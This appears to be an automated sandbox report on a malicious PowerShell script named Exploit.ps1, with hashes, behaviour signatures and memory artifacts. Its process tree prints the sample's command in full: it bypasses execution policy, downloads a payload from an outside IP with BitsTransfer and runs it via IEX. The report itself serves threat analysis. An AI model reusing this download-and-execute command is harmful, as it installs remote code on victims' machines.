Analysis

  • max time kernel
    137s
  • max time network
    106s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 14:14

General

  • Target

    Exploit.ps1

  • Size

    314B

  • MD5

    7cb787f05f07c8fcb6b312c9e9fe7fc1

  • SHA1

    0b8ad994e31a5f1f5c2d842c58531f0c1303779c

  • SHA256

    a0d310e224fe341324cfd38780c5f4a29eb1af167ef7b09c4c73f23aa4e5f001

  • SHA512

    df339be0dd373bdbf6a59d02c17c5a44d8f179bbfd74860a7cfb54b10be0737e4058a62c55e4c4577c89eaad8becee66680425790f97969d0b7cbd7f66ec02d8

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://31.41.244.192:80/96945jgjf

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\Exploit.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param() Import-Module BitsTransfer; = C:\Users\Admin\AppData\Local\Temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://31.41.244.192:80/96945jgjf' -Destination ; = [IO.File]::ReadAllText(); Remove-Item ; IEX } -Argument 0 | wait-job | Receive-Job"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4620

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    64B

    MD5

    d8b9a260789a22d72263ef3bb119108c

    SHA1

    376a9bd48726f422679f2cd65003442c0b6f6dd5

    SHA256

    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

    SHA512

    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0yzlhnnz.cug.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4620-13-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB

  • memory/4620-23-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB

  • memory/4620-24-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB

  • memory/4620-27-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-0-0x00007FFEDCC93000-0x00007FFEDCC95000-memory.dmp

    Filesize

    8KB

  • memory/5080-10-0x000002EE7E980000-0x000002EE7E9A2000-memory.dmp

    Filesize

    136KB

  • memory/5080-11-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-12-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-31-0x00007FFEDCC90000-0x00007FFEDD751000-memory.dmp

    Filesize

    10.8MB